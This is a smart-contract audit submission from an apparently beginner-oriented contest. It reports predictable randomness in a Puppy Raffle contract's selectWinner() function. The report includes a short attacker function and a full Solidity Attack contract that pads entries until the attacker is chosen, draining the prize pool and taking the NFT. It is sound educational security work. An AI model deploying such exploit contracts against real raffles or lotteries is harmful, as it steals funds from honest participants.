Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Weak on-chain randomness in selectWinner() lets attackers predict and force the winner and rarity

smurfetc

Description

  • Normally, selectWinner() should choose the winner and the puppy rarity from a source of randomness that no participant can predict or influence.

  • However, both the winner index and the rarity are derived from msg.sender, block.timestamp, and block.difficulty — all values that are known or controllable at execution time, so the outcome can be predicted off-chain and forced.

uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length; // line 128-129
...
uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100; // line 139

Risk

Likelihood: High

  • Anyone can recompute this exact hash in a simulation/view call and only send the selectWinner transaction (or retry in later blocks) when the result makes them win and/or mint the legendary NFT.

  • A block proposer can directly set block.timestamp / influence block.difficulty (prevrandao) to choose the outcome.

Impact: High

  • An attacker can deterministically win the prize pool and select the rarest puppy, making the raffle unfair and causing direct loss to honest players.

Proof of Concept

An attacker calls selectWinner from a contract that, in the same transaction, computes
uint256(keccak256(abi.encodePacked(address(this), block.timestamp, block.difficulty))) % players.length
and requires it equals the attacker's own index, reverting otherwise. The attacker retries across blocks at zero cost until it wins; a validator can win in a single block by fixing block.timestamp.

// inside an attacker contract that is already entered at index `myIdx`
function winOrRevert() external {
uint256 idx = uint256(keccak256(abi.encodePacked(address(this), block.timestamp, block.difficulty))) % puppyRaffle.playersLength();
require(idx == myIdx, "not my block");
puppyRaffle.selectWinner(); // only executes in a block where attacker wins
}

Recommended Mitigation

Use a secure, tamper-resistant randomness source such as Chainlink VRF. Never derive randomness from block.timestamp, block.difficulty/prevrandao, or msg.sender.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 8 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!